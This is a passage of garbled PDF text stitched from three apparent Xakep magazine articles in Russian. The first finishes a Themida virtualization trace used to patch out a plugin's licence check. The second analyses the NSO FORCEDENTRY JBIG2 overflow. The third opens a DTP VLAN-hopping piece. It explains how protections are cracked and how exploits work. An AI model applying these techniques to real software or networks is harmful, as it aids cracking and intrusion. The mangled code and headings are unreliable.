7FFD06B80EB9 rsp: 6B694FA710 PC: 7FFD06AE542D 
called from: 7FFD069D8E12 called: 7FFD158B6EC0 return to: 
7FFD06B81002 rsp: 6B694FA710 PC: 7FFD06AE5616 
called from: 7FFD0698CFB6 called: 7FFD158B6D30 return to: 
7FFD06B8114F rsp: 6B694FA710 PC: 7FFD06AE58EB 
called from: 7FFD0698CFB6 called: 7FFD158B6DB0 return to: 
7FFD06B812C2 rsp: 6B694FA710 PC: 7FFD06AE5B0B 
called from: 7FFD06AA94FE called: 7FFD0507CC60 return to: 
7FFD06B8143D rsp: 6B694FA710 PC: 7FFD06AE5C9A 
called from: 7FFD069E6E0F called: 7FFD158B6EC0 return to: 
7FFD06B815EB rsp: 6B694FA710 PC: 7FFD06AE5E87 
called from: 7FFD0698CFB6 called: 7FFD158B6D30 return to: 
7FFD06B81741 rsp: 6B694FA710 PC: 7FFD06AE60CE 
called from: 7FFD069E6E0F called: 7FFD158B6DB0 return to: 
7FFD06B81875 rsp: 6B694FA710 PC: 7FFD06AE62DC 
called from: 7FFD06A146C8 called: 7FFD0507CE60 return to: 
7FFD06B819C5 rsp: 6B694FA710 PC: 7FFD06AE647E 
called from: 7FFD069D8E12 called: 7FFD158B6EC0 return to: 
7FFD06B81B3A rsp: 6B694FA710 PC: 7FFD06AE6679 
called from: 7FFD06AA94FE called: 7FFD0506B620 return to: 
7FFD06B81C91 rsp: 6B694FA710 PC: 7FFD06AE6874 
called from: 7FFD069E6E0F called: 7FFD158B6D30 return to: 
7FFD06B81DB7 rsp: 6B694FA710 PC: 7FFD06AE6A49 
called from: 7FFD069E6E0F called: 7FFD158B6DB0 return to: 
7FFD06B81F01 rsp: 6B694FA710 PC: 7FFD06AE6C6E 
called from: 7FFD069E6E0F called: 7FFD158BE0D0 return to: 
7FFD06B82060 rsp: 6B694FA710 PC: 7FFD06AE6E97 
called from: 7FFD069E6E0F called: 7FFD158D0E50 return to: 
7FFD06B821AE rsp: 6B694FA710 PC: 7FFD06AE7098 
called from: 7FFD069D8E12 called: 7FFD158BDDB0 return to: 
7FFD06B822C9 rsp: 6B694FA710 PC: 7FFD06AE725F 
called from: 7FFD069D8E12 called: 7FFD158B6EC0 return to: 
7FFD06B82405 rsp: 6B694FA710 PC: 7FFD06AE7446 
called from: 7FFD069E6E0F called: 7FFD158B6D30 return to: 
7FFD06B82569 rsp: 6B694FA710 PC: 7FFD06AE7633 
called from: 7FFD0698CFB6 called: 7FFD158B6DB0 return to: 
7FFD06B826D3 rsp: 6B694FA710 PC: 7FFD06AE7845 

Ука затель сте ка мы про веря ем для кон тро ля вызовов вир туали зиро ван ных
фун кций, а в пос ледней колон ке содер жится ука затель на текущую исполня- 
емую коман ду шитого кода. Два таких лога, запущен ных со вклю чен ным
и отклю чен ным интерне том, дают нам воз можность най ти раз вилку в шитом
коде с точ ностью до вызова невир туали зиро ван ной фун кции.

Для более точ ного нахож дения раз вилки нам при дет ся искать коман ду
условно го опе рато ра и ее обра бот чик. С этой целью сно ва пов торя ем пос- 
ледова тель ность дей ствий, опи сан ную в начале этой статьи, — оста нав лива- 
емся на пос леднем вызове невир туали зиро ван ной фун кции перед раз вилкой
и запус каем более деталь ную трас сиров ку при вклю чен ном и отклю чен ном
интерне те. При дет ся повозить ся, срав нивая ну очень длин ные трас сы, но в
ито ге мы находим обра бот чик условно го опе рато ра. Реали зация его чрез- 
вычай но слож на, нас толь ко, что тут нет мес та, что бы при вес ти ее пол ностью.
Да и смыс ла никако го в этом нет: код мутиру ет и поч ти ни один шаб лон
не дей ству ет.

Бо лее того, злоб ные кодеры из Oreans еще силь нее усложни ли нам жизнь,
добавив в коман ду допол нитель ный 8-бит ный параметр. От его зна чения
зависит флаг, на который реаги рует условный переход. И разуме ется,
при мутации команд эти парамет ры меня ются. Само мес то раз вилки выг лядит
при мер но так:

        
     

2564 | 00007FFD6A21E0CE | 49:89E8                  | mov r8,rbp <---
RBP указывает на текущий фрейм кода

       2565 | 00007FFD6A21E0D1 | 49:81F5 01000000         | xor r13,1
      2566 | 00007FFD6A21E0D8 | 49:01D5                  | add r13,rdx
      2567 | 00007FFD6A21E0DB | 4C:31CA                  | xor rdx,r9
       2568 | 00007FFD6A21E0DE | 49:81C0 EB000000         | add r8,EB
      2569 | 00007FFD6A21E0E5 | 4C:01EA                  | add rdx,r13
      256A | 00007FFD6A21E0E8 | 48:09D2                  | or rdx,rdx
        

        
256B | 00007FFD6A21E0EB | 4D:8B00                  | mov r8,qword ptr
ds:[r8] <--- R8=[RBP+EB] указатель на новую команду шитого кода

       256C | 00007FFD6A21E0EE | 49:81C0 0A000000         | add r8,A
       256D | 00007FFD6A21E0F5 | 48:81C9 80000000         | or rcx,80
        

          
256E | 00007FFD6A21E0FC | 45:8A08                  | mov r9b,byte ptr
ds:[r8] <--- В R9 битный идентификатор флага по смещению A байт

       
       

  

256F | 00007FFD6A21E0FF | 41:80F9 E4               | cmp r9b,E4
                     <--- В этой реализации команды идентификатор E4
соответствует Zero flag

       2570 | 00007FFD6A21E103 | 0F84 19000000            | je 7FFD6A21E122
       2571 | 00007FFD6A21E122 | 48:81E2 90000000         | and rdx,90
       2572 | 00007FFD6A21E129 | 49:81E6 04000000         | and r14,4
      2573 | 00007FFD6A21E130 | 4D:09CD                  | or r13,r9
      2574 | 00007FFD6A21E133 | 41:54                    | push r12
         

            
2575 | 00007FFD6A21E135 | 41:81E4 40000000         | and r12d,40 <
--- Регистр флагов уже загружен в r12d, маска 40h — установлен бит
Zero

         2576 | 00007FFD6A21E13C | 0F84 18000000            | je 7FFD6A21E15A
<-------------------Развилка

       2577 | 00007FFD6A21E15A | 49:C7C5 00000000         | mov r13,0
       2578 | 00007FFD6A21E161 | 48:81C1 78000000         | add rcx,78
       2579 | 00007FFD6A21E168 | 48:81E9 88000000         | sub rcx,88
      257A | 00007FFD6A21E16F | 41:5C                    | pop r12
       257B | 00007FFD6A21E171 | 49:C7C5 00000000         | mov r13,0
       257C | 00007FFD6A21E178 | 49:C7C5 00040000         | mov r13,400
       257D | 00007FFD6A21E17F | 41:80F9 60               | cmp r9b,60

Код дан ного обра бот чика мы поменять не можем (он исполь зует ся в бес- 
числен ном количес тве дру гих мест), одна ко мы можем модифи циро вать
коман ду шитого кода, ведь она содер жит в сво их парамет рах адре са и обе их
веток вир туаль ного кода, и их обра бот чиков. Разуме ется, при дет ся вно сить
исправ ления в уже рас пакован ный и рас шифро ван ный код (при мер халяв ного
решения дан ной проб лемы я при водил в ), а еще — оза- 
дачить ся борь бой с про вер кой кон тро ля целос тнос ти.

пре дыду щей статье

Итак, мы дос тигли пос тавлен ной цели: срав нили два лога и наш ли раз- 
вилку в коде меж ду вет ками с пра виль ным отве том сер вера и без него. Про- 
пат чив код, мы можем изле чить наш подопыт ный гра фичес кий пла гин
от излишней алчнос ти.

Мы рас смот рели лишь общие прин ципы реали зации вир туаль ной машины
Themida. К сло ву ска зать, у Oreans есть и дру гие похожие про дук ты, нап ример

. Эта статья, воз можно, поможет кому-то в борь бе и с подоб- 
ными вир туаль ными машина ми и обфуска тора ми.
Code Virtualizer

https://xakep.ru/2022/01/11/themida-evasion/
https://xakep.ru/author/mikhail_kondakov/
https://xakep.ru/2022/01/11/themida-evasion/
https://www.oreans.com/help/cv/hm_codevirtualizer.htm
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ВЗЛОМ

В изра иль ской NSO Group соз дали экс пло ит для iMessage,
 мно го шума. С помощью это го экс пло ита тро ян

Pegasus был внед рен в телефо ны пуб личных деяте лей
и полити ков. Apple уже  иск на NSO. Одна ко оста вим
в сто роне полити ку — в этой статье мы сос редото чим ся
на самом экс пло ите, тем более что он прос то взрыв ной!
Заража ет девай сы без учас тия юзе ра, укры вает ся внут ри GIF
и вклю чает в себя кро шеч ный вир туаль ный компь ютер.

на делав ший

по дала

NSO

На чало тому, о чем мы будем говорить, было положе но в августе 2016 года,
ког да изра иль ская ком пания NSO Group, спе циали зиру ющаяся на киберо- 
ружии, раз работа ла и выпус тила шпи онское ПО Pegasus, пред назна чен ное
для зараже ния мобиль ных устрой ств под управле нием Android и iOS. «Пегас»
был спо собен читать тек сто вые сооб щения, отсле живать звон ки и мес- 
тополо жение, собирать пароли, получать информа цию с мик рофона
и камеры, а так же дос туп к лич ной информа ции поль зовате ля.

Тот ста рый «Пегас» 2016 года исполь зовал экс пло ит «одно го нажатия»
(one-click). То есть, ког да поль зователь-жер тва получал на свой смар тфон
«заряжен ное» сооб щение, что бы акти виро вать под ложен ный сюр приз, ему
нуж но было что-то сде лать, нап ример клик нуть по ссыл ке. Зараже ния было
лег ко избе жать — дос таточ но было не нажимать на что попало.

При меры фишин говых СМС

В июле 2021 года иссле дова телям из лабора тории Citizen Lab при Уни вер-
ситете Торон то  экс пло ит «нулево го нажатия» для iMessage,
обна ружен ный на смар тфо не акти вис та из Саудов ской Ара вии. Экс пло ит
работал вооб ще без учас тия поль зовате ля и сра баты вал сам — хакеру дос- 
таточ но лишь отпра вить полез ную наг рузку в мес сен дже ре.

уда лось изу чить

ÎÏÀÑÍÛÉ ÏÐÈÅÌ

Вход ная точ ка «Пегаса» в iPhone — при ложе ние . Это зна чит, что
ата кующе му дос таточ но знать телефон ный номер или Apple ID жер твы.

iMessage

В iMessage есть натив ная под дер жка GIF-ани мации. Прис ланная в чат
гиф ка вос про изво дит ся в цик ле бес конеч но. Как толь ко iMessage получа ет
сооб щение, еще до его вывода на экран вызыва ется метод в про цес се

. Он, в свою оче редь, выпол няет ся за пре дела ми песоч- 

ницы . При этом в парамет ре метода переда ется любое изоб- 
ражение с рас ширени ем gif. Вот таким обра зом:

IMTranscoderAgent
BlastDoor

[IMGIFUtils copyGifFromPath:toDestinationPath:error] 

Это при мер кода на язы ке Objective-C. Пос мотри на селек тор. Здесь, веро- 
ятно, было намере ние прос то ско пиро вать файл GIF перед редак тирова нием
поля счет чика цик лов, но семан тика это го метода иная. Внут ри он исполь зует
API CoreGraphics, что бы отоб разить исходное изоб ражение в новый GIF-файл
по задан ному пути. Одна ко то, что файл име ет рас ширение gif, вов се не озна- 
чает, что он на самом деле гиф ка.

Биб лиоте ка ImageIO при меня ется, что бы опоз нать фор мат фай ла и про- 
ана лизи ровать его, но при этом пол ностью игно риру ет его рас ширение.
При исполь зовании это го трю ка с «под дель ными гиф ками» более 20 гра- 
фичес ких кодеков ста новят ся потен циаль ными жер тва ми для ата ки нулево го
нажатия в iMessage. Некото рые из них очень слож ны и сос тоят из сотен тысяч
строк кода. Огромное прос транс тво для хакер ской сме кал ки!

Как сооб щает иссле дова тель ская груп па Google Project Zero, с iOS 14.8.1
(26 октября 2021 года) Apple огра ничи ла фор маты в ImageIO, дос тупные
из про цес са . Так же инже неры ком пании пол ностью уда- 

лили код для дос тупа к GIF из  с вер сии iOS 15.0 (20 сен- 
тября 2021 года), вмес те с тем пол ностью перене ся декоди рова ние GIF
внутрь BlastDoor.

IMTranscoderAgent
IMTranscoderAgent

PDF ÂÍÓÒÐÈ GIF

В NSO исполь зовали дыру «под дель ный GIF», что бы через нее заюзать уяз- 
вимость в пар сере CoreGraphics PDF.

Дол гие годы фор мат PDF был излюблен ной целью для атак — он дос тупен
вез де и обла дает дос таточ ной слож ностью. При ятный бонус для хакеров —
под дер жка JavaScript внут ри PDF. CoreGraphics PDF не интер пре тиру ет
JavaScript, одна ко NSO уда лось най ти в нед рах пар сера кое-что не менее
мощ ное.

Иан Бир (Ian Beer) и Сэмю эл Гросс (Samuel Groß) из Project Zero рас потро- 
шили экс пло ит NSO и , как он работа ет. Даль ше мы
прос ледим за их иссле дова нием, что бы разоб рать ся, как кар тинка прев-
ратилась в нас тоящий компь ютер и помог ла экс пло иту сбе жать из песоч ницы.

под робно рас ска зали

ÝÊÑÒÐÅÌÀËÜÍÎÅ ÑÆÀÒÈÅ

В кон це девянос тых мало у кого был ста биль ный и быс трый интернет, боль- 
шинс тво юзе ров доз ванива лись к про вай деру по dial-up и работа ли на смеш- 
ных сей час ско рос тях. Да и дис ки не отли чались боль шими емкостя ми, поэто- 
му сжа тие дан ных было важ ной тех нологи ей. PNG, JPEG и GIF нам зна комы
и по сей день, но были и дру гие.

Фор мат JBIG2 пред назна чал ся для сжа тия монох ромных изоб ражений
(где пик сели могут быть толь ко чер ными или белыми). Он при менял ся в офис- 
ных ска нерах высокой ценовой катего рии, таких как Xerox WorkCenter.

Xerox WorkCenter

Ес ли лет десять-двад цать тому назад тебе доводи лось исполь зовать фун- 
кцию «ска ниро вания в PDF» на подоб ном устрой стве, в получав шихся у тебя
PDF, ско рее все го, был поток JBIG2.

При меча тель но, что эти фай лы даже при дос той ном раз решении ска ниро- 
вания занима ли все го нес коль ко килобай тов. JBIG2 исполь зует два метода
для дос тижения такого мощ ного сжа тия. Сей час мы их обсу дим. Толь ко
не думай, что мы тут отвлек лись на какую-то побоч ную ерун ду, — все это име- 
ет непос редс твен ное отно шение к экс плу ата ции дыры в iMessage!

Òåõíèêà 1: ñåãìåíòàöèÿ è çàìåùåíèå

Тек сто вый документ, осо бен но написан ный на язы ках с неболь шими алфа- 
вита ми (англий ский или, к при меру, рус ский), сос тоит из мно жес тва час то
встре чающих ся сим волов. Вмес те бук вы, диак ритику, зна ки пре пина ния
и про чие загогу лины называ ют гли фами.

JBIG2 пыта ется сег менти ровать каж дую стра ницу на гли фы, а затем
исполь зует прос тое сопос тавле ние с образцом, что бы выделить гли фы,
которые выг лядят оди нако во.

Со пос тавле ние с образцом поз воля ет най ти все фор мы, в дан ном слу -
чае все бук вы e

При этом JBIG2 ничего не зна ет о самих гли фах и не пыта ется рас позна вать
их и сопос тавлять с алфа витом (OCR). Кодиров щик JBIG2 прос то ищет свя- 
зан ные области пик селей и груп пиру ет похожие.

При этом алго ритм сжа тия заменя ет все дос таточ но похожие на вид
области копи ей толь ко одной из них.

За мена всех вхож дений одной копи ей гли фа поз воля ет дос тичь высоких
коэф фици ентов сжа тия

В таком слу чае текст по-преж нему прек расно чита ется, одна ко объ ем хра- 
нимой информа ции ста новит ся мень ше. Вмес то того что бы хра нить дан ные
о пик селях всей стра ницы, для их отоб ражения нуж на толь ко сжа тая вер сия
«ссы лоч ного гли фа» для каж дого сим вола и отно ситель ные коор динаты мест,
где дол жны быть раз мещены его копии. При рас паков ке алго ритм рас став- 
ляет гли фы по мес там, как бы рисуя ими на хол сте.

Та кой под ход таит в себе сущес твен ный недос таток: кри вой кодиров щик
может слу чай но спу тать похожие на вид сим волы. А это при водит к печаль ным
пос ледс тви ям. В сво ем бло ге Дэвид Кри зель (David Kriesel) 

, ког да в PDF-фай лах ска ниро ван ных сче- 
тов-фак тур и чер тежей одни циф ры меня ются на дру гие. Для нас в дан ном
слу чае эти проб лемы не важ ны — раз ве что ими мож но объ яснить поч ти пол- 
ное вымира ние JBIG2.

при водит нес- 
коль ко вдох новля ющих при меров

Òåõíèêà 2: óòî÷íÿþùåå êîäèðîâàíèå

Итак, резуль тат сжа тия на осно ве под ста нов ки отоб ража ется с потеря ми. То
есть пос ле сжа тия и рас паков ки вывод на вид не будет в точ ности соот ветс- 
тво вать вво ду. Поэто му JBIG2 под держи вает и сжа тие без потерь, в которое
вхо дит про межу точ ный этап «сжа тия с мень шими потеря ми».

В этом слу чае допол нитель но исполь зует ся информа ция о раз нице меж ду
замещен ным гли фом и исходным — тоже, конеч но же, сжа тая. Вот при мер,
показы вающий раз личия меж ду замещен ным сим волом сле ва и исходным
сим волом без потерь посере дине.

Ис поль зование опе рато ра XOR на рас трах для вычис ления мас ки раз -
ности изоб ражения

В при мере выше кодиров щик сох раня ет мас ку раз ности, показан ную спра ва,
затем во вре мя рас паков ки она под верга ется опе рации XOR с заменен ным
сим волом, что бы вос ста новить точ ные пик сели, сос тавля ющие исходный
сим вол.

Вмес то того что бы пол ностью кодиро вать всю раз ность за один раз,
это мож но сде лать поэтап но, при этом на каж дой ите рации исполь зует ся
логичес кий опе ратор (один из AND, OR, XOR или XNOR) для уста нов ки, сбро- 
са или перек лючения битов.

Каж дый пос леду ющий шаг уточ нения приб лижа ет конеч ный резуль тат
к ори гина лу, и это поз воля ет кон тро лиро вать потери качес тва при сжа тии.
Реали зация этих шагов уточ няюще го кодиро вания очень гиб кая. А еще здесь
есть воз можность читать зна чения, уже при сутс тву ющие в рабочей области
вывода. А это, как ты уже, воз можно, догады ваешь ся, ведет нас к пол ноте
по Тьюрин гу... Но сна чала нуж но погово рить про важ ную уяз вимость.

ÏÎÒÎÊ JBIG2

Боль шая часть декоде ра CoreGraphics PDF — это проп риетар ный код Apple,
но реали зация JBIG2 взя та из про екта , исходный код которо го находит ся
в сво бод ном дос тупе.

Xpdf

Фор мат JBIG2 пред став ляет собой набор сег ментов, который мож но рас- 
смат ривать как серию команд рисова ния — они выпол няют ся пос ледова тель- 
но за один про ход. Ана лиза тор CoreGraphics JBIG2 под держи вает 19 раз- 
личных типов сег ментов, которые вклю чают такие опе рации, как опре деле ние
новой стра ницы, декоди рова ние таб лицы Хаф фма на и визу али зация рас тро- 
вого изоб ражения с задан ными коор дината ми.

Сег менты пред став лены клас сом  и его под клас сами
 и .  пред став ляет собой пря- 

моуголь ный мас сив пик селей. Его поле дан ных ука зыва ет на зад ний буфер,
содер жащий повер хность для рен дерин га.  груп пиру ет бит- 
мапы. А целевая стра ница пред став лена как  и сос тоит

из отдель ных гли фов. На сег менты ( ) мож но ссы лать ся

по номеру, а век торный тип  хра нит ука зате ли на все сег менты. Что бы

най ти сег мент по его номеру,  ска ниру ется пос ледова тель но.

JBIG2Segment
JBIG2Bitmap JBIG2SymbolDict JBIG2Bitmap

JBIG2SymbolDict
JBIG2Bitmap

JBIG2Segment
GList
GList

Кста ти, если ты сей час про читал сло во «джи-лист» неп равиль но и раз- 
веселил ся, как дет садовец, то пос тарай ся скон цен три ровать ся, нас ждут куда
более инте рес ные откры тия.

ÓßÇÂÈÌÎÑÒÜ

Уяз вимость пред став ляет собой клас сичес кое целочис ленное перепол нение
при сопос тавле нии ссы лоч ных сег ментов. Вот два сег мента кода, которые
дела ют его воз можным.

 // 1Guint numSyms; ( )
 0      numSyms = ;

 i  0  ++i        for ( = ; i < nRefSegs; ) {
 seg          if (( = findSegment(refSegs[i]))) {

         if (seg->getType() == jbig2SegSymbolDict) {
 seg   // 2        numSyms += ((JBIG2SymbolDict *) )->getSize(); ( )

          } else if (seg->getType() == jbig2SegCodeTable) {
seg        codeTables->append( );

      }
      } else {

,       error(errSyntaxError, getPos()
            "Invalid segment reference in JBIG2 text region");
      delete codeTables;
      return;
    }
  }
... 
  // Get the symbol bitmaps 

  
// 3
  syms = (JBIG2Bitmap **)gmallocn(numSyms, sizeof(JBIG2Bitmap *));
( )

 0      kk = ;
 i  0  ++i        for ( = ; i < nRefSegs; ) {
 seg          if (( = findSegment(refSegs[i]))) {

         if (seg->getType() == jbig2SegSymbolDict) {
 seg        symbolDict = (JBIG2SymbolDict *) ;

 k  0  ++k          for ( = ; k < symbolDict->getSize(); ) {
k  // 4          syms[kk++] = symbolDict->getBitmap( ); ( )

        }
      }
    }
  }

Здесь перемен ная  объ явле на как 32-бит ное целое (смот ри помет- 
ку 1). Если мы будем раз за разом добав лять спе циаль но под готов ленные
ссы лоч ные сег менты (2), в кон це кон цов это при ведет к перепол нению

 до кон тро лиру емо го неболь шого зна чения. Это зна чение исполь- 

зует ся для выделе ния кучи (3), из чего сле дует, что  будет ука зывать
на буфер недос таточ ного раз мера. Во внут реннем цик ле (4) зна чения ука- 
зате ля  записы вают ся в буфер  мень шего раз мера.

numSyms

numSyms
syms

JBIG2Bitmap syms
Без допол нитель ных ухищ рений этот цикл записал бы более 32 Гбайт дан- 

ных в неп ригод ный по раз мерам буфер , а это при ведет к сбою. Что бы

такого не про исхо дило, куча обра баты вает ся так, что бы пер вые нес коль ко
записей из кон ца буфера  пов режда ли зад ний буфер . Спи сок

 хра нит все извес тные сег менты и исполь зует ся фун кци ей

 для сопос тавле ния номеров сег ментов, передан ных

в , с ука зате лями . Перепол нение при водит к переза- 
писи ука зате лей  в  ука зате лями  (4).

syms

syms GList
GList
findSegments
refSegs JBIG2Segment

JBIG2Segment GList JBIG2Bitmap
Так как  нас леду ется от , вир туаль ный вызов

 выпол няет ся успешно даже на устрой ствах, где вклю чена
про вер ка под линнос ти ука зате ля (она исполь зует ся для выпол нения сла бой
про вер ки типа вир туаль ных вызовов). Но воз вра щаемый тип теперь не будет
равен , в резуль тате чего даль нейшая запись не про- 

исхо дит (4) и сте пень пов режде ния памяти огра ничи вает ся.

JBIG2Bitmap JBIG2Segment
seg->getType()

jbig2SegSymbolDict

Уп рощен ное пред став ление струк туры памяти при перепол нении кучи

ÁÅÑÏÐÅÄÅËÜÍÛÉ È ÍÅÎÃÐÀÍÈ×ÅÍÍÛÉ ÄÎÑÒÓÏ

Пос ле того как сег менты в спис ке  пов режде ны, зло умыш ленник

перехо дит к пор че объ екта , пред став ляюще го собой текущую

стра ницу (мес то, где коман ды рисова ния выпол няют визу али зацию). Про ще
говоря,  — это обо лоч ки зад него буфера, хра нящие ширину

и высоту буфера (в битах), а так же зна чение, которое опре деля ет, сколь ко
бай тов хра нит ся для каж дой стро ки.

GList
JBIG2Bitmap

JBIG2Bitmap

Струк тура памяти объ екта JBIG2Bitmap, показы вающая поля segnum, w, h
и line, которые были пов режде ны во вре мя перепол нения буфера

Ес ли тща тель но струк туриро вать , они могут оста новить перепол- 

нение пос ле записи еще трех ука зате лей  пос ле кон ца буфера

сег ментов . Такой под ход поз воля ет переза писать ука затель на 
и пер вые четыре поля , пред став ляющих текущую стра ницу.

refSegs
JBIG2Bitmap

GList vtable
JBIG2Bitmap

Вви ду устрой ства адресно го прос транс тва iOS эти ука зате ли, ско рее все- 
го, будут находить ся во вто рых 4 Гбайт вир туаль ной памяти с адре сами
от 0x100000000 до 0x1ffffffff. На девай сах, исполь зующих iOS, при меня ется
пря мой порядок бай тов (little-endian). Это озна чает, что поля  и  будут

переза писа ны на 0x1 — наибо лее зна чимую полови ну ука зате ля
, а поля  и  заменят ся наиме нее зна чимой полови ной

это го же ука зате ля — слу чай ным зна чени ем, завися щим от раз мещения кучи
и ASLR (ран домиза ция раз мещения адресно го прос транс тва), где-то меж- 
ду 0x100000 и 0xffffffff.

w line

JBIG2Bitmap segNum h

В ито ге выходит, что целевая стра ница  получа ет слиш ком

боль шое зна чение . Пос коль ку это зна чение исполь зует ся для про вер ки гра- 

ниц и дол жно отра жать выделен ный раз мер буфера стра ницы, получа ется
эффект раз верты вания рабочей области для вывода изоб ражения. Это озна- 
чает, что пос леду ющие коман ды сег мента JBIG2 могут читать и записы вать
память за пре дела ми исходных гра ниц буфера под дер жки стра ницы.

JBIG2Bitmap
h

Об работ чик кучи так же раз меща ет буфер под дер жки текущей стра ницы
чуть ниже непод ходяще го по раз мерам буфера , поэто му, ког да стра- 

ница  не огра ниче на, она может читать и записы вать свои собс- 
твен ные поля.

syms
JBIG2Bitmap

Схе ма памяти, показы вающая, как неог раничен ный зад ний буфер рас -
тро вого изоб ражения может ссы лать ся на объ ект JBIG2Bitmap и изме -
нять поля в нем, пос коль ку этот объ ект рас положен пос ле буфера
в памяти

Бла года ря отри сов ке четырех бай товых рас тров с пра виль ными коор дината- 
ми мож но про изво дить запись во все поля стра ницы , а тща тель- 
но выбирая новые зна чения для ,  и , мож но записы вать про изволь ные

сме щения в зад ний буфер стра ницы.

JBIG2Bitmap
w h line

На этом эта пе уже мож но было бы писать абсо лют ные адре са памяти,
если бы мы зна ли их сме щения в зад нем буфере стра ницы. Но как вычис лить
эти сме щения? До сих пор этот экс пло ит дей ство вал очень похоже на обыч- 
ный экс пло ит тра дици онно го язы ка сце нари ев. В JavaScript это мог ло бы
закон чить ся неог раничен ным объ ектом  с дос тупом к памяти.
В таком слу чае зло умыш ленник имел бы воз можность запус кать про изволь- 
ный код на JavaScript, который бы исполь зовал ся для вычис ления сме щений
и выпол нения про изволь ных дей ствий. Как это сде лать в однопро ход ном пар- 
сере изоб ражений?

ArrayBuffer

ÄÐÓÃÎÉ ÔÎÐÌÀÒ ÑÆÀÒÈß — ÏÎËÍÛÉ ÏÎ ÒÜÞÐÈÍÃÓ!

Как ты пом нишь, пос ледова тель ность шагов, реали зующих уточ нение в JBIG2,
очень гиб кая. Шаги уточ нения могут ссы лать ся как на рас тро вое изоб- 
ражение вывода, так и на любые ранее соз данные сег менты, а так же отоб- 
ражать вывод либо на текущей стра нице, либо на сег менте. Хит роум но
работая с завися щей от кон тек ста деком прес сией уточ нения, мож но соз- 
давать пос ледова тель нос ти сег ментов, в которых эффект будут иметь толь ко
опе рато ры ком бинации усо вер шенс тво ваний.

На прак тике это зна чит, что мож но при менять логичес кие опе рато ры AND,
OR, XOR и XNOR меж ду областя ми памяти с про изволь ными сме щени ями
зад него буфера  текущей стра ницы. И пос коль ку огра ниче ний

нет, мож но выпол нять эти логичес кие опе рации с памятью с про изволь ными
сме щени ями за пре дела ми гра ниц.

JBIG2Bitmap

Схе ма памяти, показы вающая, как логичес кие опе рато ры могут при -
менять ся за пре дела ми гра ниц

Это нем ного усложнит задачу, но при желании мож но вмес то гли фов
работать с отдель ными битами. В качес тве вход ных дан ных мож но подать
набор команд сег мента JBIG2, которые реали зуют пос ледова тель ность
логичес ких битовых опе раций, при меня емых к стра нице. А пос коль ку буфер
стра ницы не огра ничен, эти битовые опе рации могут работать с про изволь- 
ной памятью.

С помощью дос тупных логичес ких опе рато ров AND, OR, XOR и XNOR мож- 
но выпол нить любую матема тичес кую фун кцию.

ÂÛÂÎÄÛ

В JBIG2 нет воз можнос ти выпол нять скрип ты, но в сочета нии с уяз вимостью
он может ими тиро вать схе мы раз ных логичес ких вен тилей, работа ющих
с про изволь ной памятью. Так почему бы не исполь зовать это и не соз дать
собс твен ную компь ютер ную архи тек туру для выпол нения сво их сце нари ев?

Это как раз то, что дела ет экс пло ит NSO. В нем на осно ве 70 тысяч сег- 
мен тных команд реали зова на архи тек тура неболь шого компь юте ра. Здесь
есть регис тры, а так же пол ные 64-бит ный сум матор и ком паратор, которые
исполь зуют ся для поис ка в памяти и выпол нения ариф метичес ких опе раций.
Все это работа ет не так быс тро, как JavaScript, но мож но добить ся схо жих
резуль татов.

Опе рации началь ной заг рузки, бла года ря которым экс пло ит выходит
из песоч ницы, написа ны целиком на этой при чуд ливой эму лиру емой эле мен- 
тарной логике, соз данной из одно го про хода деком прес сии потока JBIG2.

Хоть деятель ность NSO и вызыва ет воп росы с точ ки зре ния эти ки, но нель- 
зя не отдать дол жное изоб ретатель нос ти этой схе мы!

mailto:yazevsoft@gmail.com
https://xakep.ru/2021/09/14/forcedentry/
https://xakep.ru/2021/11/24/apple-vs-nso/
https://citizenlab.ca/2021/09/forcedentry-nso-group-imessage-zero-click-exploit-captured-in-the-wild/
https://xakep.ru/2021/01/29/blastdoor/
https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html
http://www.dkriesel.com/en/blog/2013/0802_xerox-workcentres_are_switching_written_numbers_when_scanning
https://www.xpdfreader.com/download.html
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ВЗЛОМ

Про токол DTP был раз работан инже нера ми
Cisco Systems, что бы облегчить жизнь
ленивым сетевым инже нерам. Но при
халат ном отно шении к кон фигура ции это го
про токо ла адми нис тра торы рас пла чива- 
ются ком про мета цией сво их сетей. В этой
статье я про демонс три рую сце нарий взло- 
ма про токо ла DTP и воз можность побега
в дру гую сеть VLAN.

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

Аб бре виату ра DTP рас шифро выва ется как Dynamic Trunking Protocol. Этот
про токол раз работан инже нера ми Cisco Systems для реали зации авто мати- 
чес кой тран кинго вой сис темы. Какой порт будет тран ковым, а какой нет — c
этим раз бира ется имен но про токол DTP, а не сетевой инже нер. DTP очень
час то оста ется без дол жно го вни мания и в боль шинс тве слу чаев исполь зует
кон фигура цию по умол чанию. Этим мы с тобой и вос поль зуем ся.

ÊÀÊ ÝÒÎ ÐÀÁÎÒÀÅÒ

DTP поз воля ет двум сосед ним пор там ком мутато ра сог ласовы вать решения
о том, будут ли они магис траль ными канала ми a.k.a тран ками. Такой метод
при меня ется, что бы сфор мировать магис траль ный канал, а сетево му адми- 
нис тра тору не при ходи лось нас тра ивать вруч ную каж дую сто рону. Ком- 
мутаци онный порт, который находит ся на дру гом кон це канала, может при- 
нять кон фигура цию соседа и сфор мировать транк авто мати чес ки. Да,
это поз воля ет сох ранить вре мя и силы, но не в таком уж и сущес твен ном
количес тве.

При мер типич ной тополо гии DTP

В про токо ле DTP пре дус мотре но нес коль ко режимов работы пор тов ком- 
мутато ра для ини циали зации магис траль ного канала:

 — режим пос тоян ного бес тран кового сос тояния. Порт

всег да будет оста вать ся в бес тран ковом сос тоянии, нес мотря на то что
сосед ний порт не сог ласен с изме нени ем;

• Access Mode

 — режим пос тоян ного тран кового сос тояния. Порт всег да

будет оста вать ся в тран ковом сос тоянии, нес мотря на то что сосед ний
порт не сог ласен с изме нени ем;

• Trunk Mode

 — в этом режиме порт готов перей ти в тран ковое сос- 

тояние, если сосед ний порт будет в режиме Trunk или Dynamic Desirable.
Важ но упо мянуть, что Dynamic Auto — это режим по умол чанию для всех
пор тов ком мутато ра;

• Dynamic Auto

 — в этом режиме порт всег да пыта ется перей ти
в тран ковое сос тояние. Порт при обре тет режим Trunk, если сосед ний порт
нас тро ен в режимах Dynamic Auto, Dynamic Desirable или Trunk Mode;

• Dynamic Desirable

